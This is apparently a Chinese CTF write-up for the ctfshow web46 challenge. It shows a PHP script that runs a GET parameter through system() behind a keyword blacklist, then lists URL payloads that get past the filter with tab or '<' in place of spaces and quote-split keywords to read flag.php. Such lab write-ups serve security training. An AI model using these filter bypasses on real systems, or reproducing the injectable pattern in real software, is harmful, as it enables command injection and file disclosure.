当前位置: 首页 > news >正文

ctfshow web46

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

过滤了;,cat,flag,0-9的数字,空格,$,*,那么这道题还是要空格过滤,但是上道题提到的${IFS},$IFS$1都不可用

?c=tac%09fl''ag.p''hp||

?c=tac<fl''ag.p''hp||

?c=tac%09fl''ag.p''hp%0a

http://www.zskr.cn/news/8078.html

相关文章:

  • 线性调频信号(LFM)在雷达中的时域及频域MATLAB编程
  • 最大流判定+拆点
  • Spring Cloud Gateway WebFlux现cvss10分高危漏洞,可导致环境属性篡改 - 详解
  • Flash Attention算法动画
  • 【技术实现】7天极速搭建体育比分网站 - 世界杯期间流量红利抓取实战
  • C#开发ONVIF客户端与RTSP播放库指南
  • 经验分享 —— 在 Ubuntu 虚拟机中部署 OceanBase 数据库
  • CH584 CH585 复位状态寄存器
  • AppConfig
  • 绕过安全控制安装第三方软件
  • 软件体系结构概论 1章
  • SQLSERVER数据备份 - 实践
  • 逆向分析之if语句与循环语句的分析
  • ROMA-iOS适配深色模式总结
  • Git 指令笔记 - 详解
  • Syntax Error: TypeError: eslint.CLIEngine is not a constructor 解决方案
  • 【ACM出版】2025年人工智能、虚拟现实与交互设计国际学术会议(AIVRID 2025)
  • 《sklearn机器学习——特征提取》 - 指南
  • Windows 10 11 Boot Fix
  • ubuntu 安装 milvus
  • SI/PI学习笔记1 -20250911
  • Web开发工具一套式部署Maven/Nvm/Mysql/Redis - 教程
  • 单词翻转
  • 详细介绍:kafka如何保证消息不被重复消费
  • C++ 最开始的地方
  • ClkLog埋点与用户行为分析系统:架构升级与性能全面提升
  • ARC187 做题记
  • lombok与mapstruct冲突的问题
  • SAP物料自动记账科目设置总结
  • NVR设备ONVIF接入平台EasyCVR视频融合平台智慧小区视频监控一站式建设方案